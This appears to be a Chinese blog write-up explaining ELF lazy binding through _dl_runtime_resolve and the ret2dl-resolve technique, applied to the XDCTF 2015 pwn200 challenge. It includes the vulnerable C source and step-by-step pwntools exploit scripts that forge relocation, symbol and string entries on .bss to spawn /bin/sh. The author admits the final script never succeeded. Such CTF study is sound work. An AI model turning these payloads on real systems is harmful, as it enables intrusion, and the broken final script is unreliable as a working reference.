dl_runtime_resolve 执行过程
参考链接:
1 2 3 4 5
   | https://nocbtm.github.io/2020/02/24/ret2_dl_runtime_resolve/ https://blog.csdn.net/conansonic/article/details/54634142 https://sp4n9x.github.io/2020/08/15/ret2_dl_runtime_resolve%E8%AF%A6%E8%A7%A3/ http://blog.blackbird.wang/2021/09/20/dl-runtime-resolve%E8%B0%83%E8%AF%95%E4%BB%A5%E5%8F%8A%E6%94%BB%E5%87%BB%E6%80%9D%E8%B7%AF/ https://www.cnblogs.com/unr4v31/p/15168342.html
   | 
 
 动态装载器将二进制文件以及依赖库加载到内存,该过程包含了对导入符号的解析。对导入符号的解析由 _dl_runtime_resolve 完成。_dl_runtime_resolve 有两个参数,分别为:
1 2 3
   | link_map_obj:一个指向 link_map 结构体的指针。link_map 结构体表示一个已加载的共享对象的内部状态,包括基地址、名称、符号表等信息。
  reloc_index:一个整数,表示重定位表(.rel.plt 或 .rel.dyn)中的索引。重定位表包含了符号重定位信息,用于指示哪些符号需要在运行时解析,以及它们在符号表中的位置。
   | 
 
重定位表相关知识
 重定位表有两种类型:.rel 和 .rela。这两种类型对应了不同的重定位条目格式:
.rel:不包含附加的 addend 值的重定位条目。 
.rela:包含附加的 addend 值的重定位条目。 
 addend 值是一种附加的常数,用于计算重定位的最终地址。在 .rel 类型的重定位条目中,addend 值并不直接存储在重定位条目中,而是存储在需要重定位的指令或数据中。在 .rela 类型的重定位条目中 addend 值作为重定位条目的一部分显式存储。

 重定位表有多个不同的段,比如 .rel.dyn(用于动态链接的常规重定位表)和 .rel.plt(用于 PLT 的重定位表)。
符号解析原理

Step1:当程序导入函数时,动态链接器在.dynstr段中添加一个函数名称字符串。
Step2:在.dynsym段中添加指向函数名称字符串的Elf32 Sym结构体。
Step3:在.rel.plt段中添加指向Elf32 Sym的Elf32 Rel结构体。
Step4:Elf32 Rel的 r_offset 构成 GOT 表,保存在 .got.plt 中。
延迟绑定
 .got存放所有对于外部变量引用的地址,.got.plt保存所有对于外部函数引用的地址,对于延迟绑定主要使用.got.plt表。.got.plt的前三项存放着特殊的地址引用:
1 2 3
   | GOT[0]:保存 .dynamic 段的地址,动态链接器利用该地址提取动态链接相关的信息 GOT[1]:保存本模块的 ID GOT[2]:存放了指向 _dl_runtime_resolve 函数的地址,该函数用来解析共享库函数的实际符号地址
   | 
 
 .plt 的通用结构如下:

 PLT[0] 用于跳转到动态链接器,进行实际的符号解析和重定位(push GOT[1],link_map 模块的地址, jmp GOT[2])。

ret2dl-resolve
 漏洞利用通常包含两个阶段:(1)通过信息泄露获得程序的内存布局;(2)进行实际的漏洞利用。然而,从程序中获得内存布局的方法并不总是可行的,且获得的被破坏的内存有时并不可靠。于是有了 ret2dl-resolve,其利用 ELF 格式以及动态装载器,不需要进行信息泄露,就可以直接得到函数的位置并调用。
原理
 每个符号都是Elf32_Sym结构体的实例,这些符号共同组成了.dynsym段。导入符号的解析需要进行重定位,每个重定位项都是Elf32_Rel结构体的实例,这些项组成.rel.plt段(用于导入函数,无 attend)和.rel.dyn段(用于导入全局变量,有 attend)。Elf32_Rel 中的 r_offset 用于保存解析后的符号地址写入内存的位置(绝对地址),r_info 的高位 3 字节用于标识该符号在.dynsym段中的位置。
 每个导入函数在 PLT 表中有一个条目,其第 1 条指令无条件跳转到对应 GOT 条目保存的地址处。而每个 GOT 条目在初始化时都默认指向对应 PLT 条目的第 2 条指令的位置,第 2 条指令的执行逻辑为:将导入函数的标识(Elf32_Rel 在 .rel.plt 段中的偏移)压栈然后跳转到 PLT0 执行。PLT0 的执行逻辑为:先将 GOT[1] 压栈,然后跳转到 GOT[2],也就是 _dl_runtime_resolve。_dl_runtime_resolve 是使用汇编实现的。
 Partial RELRO 指 .dynamic 段在内的段会被标识为只读。Full RELRO 指在 Partial RELRO 的基础上,禁用延迟绑定,即所有的导入符号在加载时就被解析,.got.plt段(导入外部符号)被完全初始化为目标函数的地址,并标记为只读。于是有两个攻击场景:
- 关闭 RELRO 保护,使 .dynamic 段可写时。由于动态装载器是从 
.dynamic 段的 DT_STRTAB 条目中来获取 .dynstr 段的地址,而 DT_STRTAB 的位置是已知的,且默认情况下可写,所以攻击者能够改写 DT_STRTAB 的内容,欺骗动态装载器,使它以为 .dynstr 在 .bss 上,同时在那里伪造一个假的字符串表。当动态装载器尝试解析 printf 时就会使用不同的基地址来寻找函数名,最终执行的是 execve。 

- 开启 Partial RELRO 保护,使 .dynamic 段不可写时。
_dl_runtime_resolve 的第二个参数 reloc_index 对应 Elf32_Rel 在 .rel.plt 段中的偏移,动态装载器将偏移加上 .rel.plt 的基地址来得到目标 Elf_Rel 的内存地址。当这个内存地址落在 .bss 段中时,攻击者就可以伪造一个 Elf32_Rel,使 r_offset 是一个可写的内存地址且将解析后的函数地址写在那里。 
XDCTF 2015: pwn200
Step1:题目环境构建。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
   | #include <unistd.h> #include <stdio.h> #include <string.h>
  void vuln() {     char buf[100];          setbuf(stdin, buf);     read(0, buf, 256); }
  int main() {     char buf[100] = "Welcome to XDCTF2015~!\n";     setbuf(stdout, buf);     write(1, buf, strlen(buf));     vuln();     return 0; }
 
   | 
 
Step2:找漏洞点。很容易找到有栈溢出。

Step3:由于程序开了 Partial RELRO,我们可以从 ret2dl-resolve 的方面考虑问题。思路是:
1 2 3 4 5 6
   | (1)利用栈溢出控制执行流,调用 read 函数将下一阶段的 payload 读到 .bss 段上,然后用 stack pivot 将栈转移到 .bss 段。 (2)从调用 write(1, "/bin/sh", 7) 的第二阶段 payload 开始,一步步将其改造成 ret2dl-resolve 的 payload,最终目的是实现调用 system("/bin/sh")。     (a)模拟 write@plt 执行的效果,即先将 reloc_index 压栈,再跳转到 PLT0。     (b)在 .bss 段上伪造 Elf32_Rel。其中,r_offset 设置为 write@got,表示将函数解析后的内存地址存放到该位置。r_info 则照搬,设置为 0x607,动态加载器会通过这个值找到对应的 Elf32_Sym。相应地 reloc_index 也要调整为 fake_reloc 相对于 .rel.plt  段的偏移。     (c)在 .bss 上伪造 Elf32_Sym。动态加载器会通过 st_name 找到 .dynstr 段中的函数名字符串 "write"。fake_reloc 也要做调整,r_info 可以通过 r_sym 和 r_type 计算得出。其中,r_sym 是 Elf32_Sym 相对于 .dynsym 段的下标偏移,r_type 则照搬 R_386_JUMP_SLOT 的值 0x7。     (d)在 .bss 段上伪造 .dynstr,也就是放上 "write" 字符串。调整 fake_sym 的 st_name 指向伪造的函数名字符串,然后还可以通过 st_bind 和 st_type 来计算 st_info。
   | 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
   |  elf = ELF("./pwn200") read_plt = elf.plt['read'] bss_addr = elf.get_section_by_name('.bss').header.sh_addr + 0x500 pppr_addr = 0x08049351  pop_ebp_addr = 0x08049353  leave_addr = 0x08049165
  payload1 = b"A" * (108 + 4) payload1 += p32(read_plt)                      payload1 += p32(pppr_addr)                     payload1 += p32(0) + p32(bss_addr) + p32(100)  payload1 += p32(pop_ebp_addr) payload1 += p32(bss_addr)  payload1 += p32(leave_addr) 
 
  | 
 
1 2 3 4 5 6 7 8
   |  payload2 = b"AAAA"  payload2 += p32(write_plt)  payload2 += b"CCCC"  payload2 += p32(1) + p32(bss_addr + 80) + p32(len(b"/bin/sh"))  payload2 += b"A" * (80 - len(payload2)) payload2 += b"/bin/sh\x00"  payload2 += b"A" * (100 - len(payload2))
 
  | 
 
 之后,对(2)的脚本做修改,以模拟 write_plt 的执行效果,最终目的是执行 system。
1 2 3 4 5 6 7 8 9 10 11 12
   |  plt_0 = elf.get_section_by_name('plt').header.sh_addr reloc_index = 0x20
  payload2 = b"AAAA" payload2 += p32(plt_0)              payload2 += p32(reloc_index)        payload2 += b"CCCC" payload2 += p32(1) + p32(bss_addr + 80) + p32(len(b"/bin/sh")) payload2 += b"A" * (80 - len(payload2)) payload2 += b"/bin/sh\x00"  payload2 += b"A" * (100 - len(payload2))
 
  | 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
   |  plt_0 = elf.get_section_by_name('plt').header.sh_addr reloc_index = bss_addr + 28 - rel_plt write_got = 0x0  r_info = 0x607 
  fake_reloc = p32(write_got) + p32(r_info) 
  payload2 = b"AAAA" payload2 += p32(plt_0)             payload2 += p32(reloc_index)   payload2 += b"CCCC" payload2 += p32(1) + p32(bss_addr + 80) + p32(len(b"/bin/sh")) payload2 += fake_reloc  payload2 += b"A" * (80 - len(payload2))  payload2 += b"/bin/sh\x00" payload2 += b"A" * (100 - len(payload2))
 
  | 
 
 (2)(b)中,r_info 的获得途径为:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
   | 
  plt_0 = elf.get_section_by_name('plt').header.sh_addr reloc_index = bss_addr + 28 - rel_plt write_got = 0x0 r_sym = (bss_addr + 40 - dynsym) / 0x10   r_type = 0x7                              r_info = (r_sym << 8) + (r_type & 0xff)
  fake_reloc = p32(write_got) + p32(r_info) fake_sym = p32(0x4c) + p32(0) + p32(0) + p32(0x12) 
  payload2 = b"AAAA" payload2 += p32(plt_0)             payload2 += p32(reloc_index)   payload2 += b"CCCC" payload2 += p32(1) + p32(bss_addr + 80) + p32(len(b"/bin/sh")) payload2 += fake_reloc payload2 += b"AAAA" payload2 += fake_sym  payload2 += b"A" * (80 - len(payload2))  payload2 += b"/bin/sh\x00" payload2 += b"A" * (100-len(payload2))
 
  | 
 
 (2)(c)中,可以查看 write 的 Elf32_sym,从而进行伪造:


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
   |  plt_0 = elf.get_section_by_name('plt').header.sh_addr reloc_index = bss_addr + 28 - rel_plt
  write_got = 0x0 r_sym = (bss_addr + 40 - dynsym) / 0x10  r_type = 0x7                          r_info = (r_sym << 8) + (r_type & 0xff) fake_reloc = p32(write_got) + p32(r_info)
  st_name = bss_addr + 56 - dynstr st_bind = 0x1 st_type = 0x2 st_info = (st_bind << 4) + (st_type & 0xf)  fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) 
  payload2 = b"AAAA" payload2 += p32(plt_0)             payload2 += p32(reloc_index)   payload2 += b"CCCC" payload2 += p32(1) + p32(bss_addr + 80) + p32(len(b"/bin/sh")) payload2 += fake_reloc payload2 += b"AAAA" payload2 += fake_sym  payload2 += b"write\x00"  payload2 += b"A" * (80 - len(payload2))  payload2 += b"/bin/sh\x00" payload2 += b"A" * (100-len(payload2))
 
  | 
 
Step4:直接上脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
   | from pwn import *
  elf = ELF("./pwn200") io = process('./pwn200')
  write_got = elf.got['write'] read_plt = elf.plt['read']
  plt_0 = elf.get_section_by_name('.plt').header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr dynsym = elf.get_section_by_name('.dynsym').header.sh_addr dynstr = elf.get_section_by_name('.dynstr').header.sh_addr bss_addr = elf.get_section_by_name('.bss').header.sh_addr + 0x500
  pppr_addr = 0x08049351 pop_ebp_addr = 0x08049353  leave_addr = 0x08049165
  def stack_pivot():     payload1 = b"A" * (108 + 4)     payload1 += p32(read_plt)        payload1 += p32(pppr_addr)     payload1 += p32(0) + p32(bss_addr) + p32(100)     payload1 += p32(pop_ebp_addr)     payload1 += p32(bss_addr)     payload1 += p32(leave_addr)     io.send(payload1)
  def pwn():     reloc_index = bss_addr + 28 - rel_plt          r_sym = (bss_addr + 40 - dynsym) // 0x10      r_type = 0x7                              r_info = (r_sym << 8) + (r_type & 0xff)     fake_reloc = p32(write_got) + p32(r_info)          st_name = bss_addr + 56 - dynstr     st_bind = 0x1     st_type = 0x2     st_info = (st_bind << 4) + (st_type & 0xf)     fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)               payload2 = b"AAAA"     payload2 += p32(plt_0)                 payload2 += p32(reloc_index)       payload2 += b"CCCC"     payload2 += p32(1) + p32(bss_addr + 80) + p32(len(b"/bin/sh"))     payload2 += fake_reloc     payload2 += b"AAAA"     payload2 += fake_sym      payload2 += b"write\x00"     payload2 += b"A" * (80 - len(payload2))      payload2 += b"/bin/sh\x00"     payload2 += b"A" * (100 - len(payload2))              io.sendline(payload2)     io.interactive()      if __name__ == "__main__":     stack_pivot()     pwn()
   | 
 
 但是一直不成功,直到(2)的脚本有大概 1/7 的成功率,加入 p32(plt_0)、p32(reloc_index) 就一直不行,懒得调了。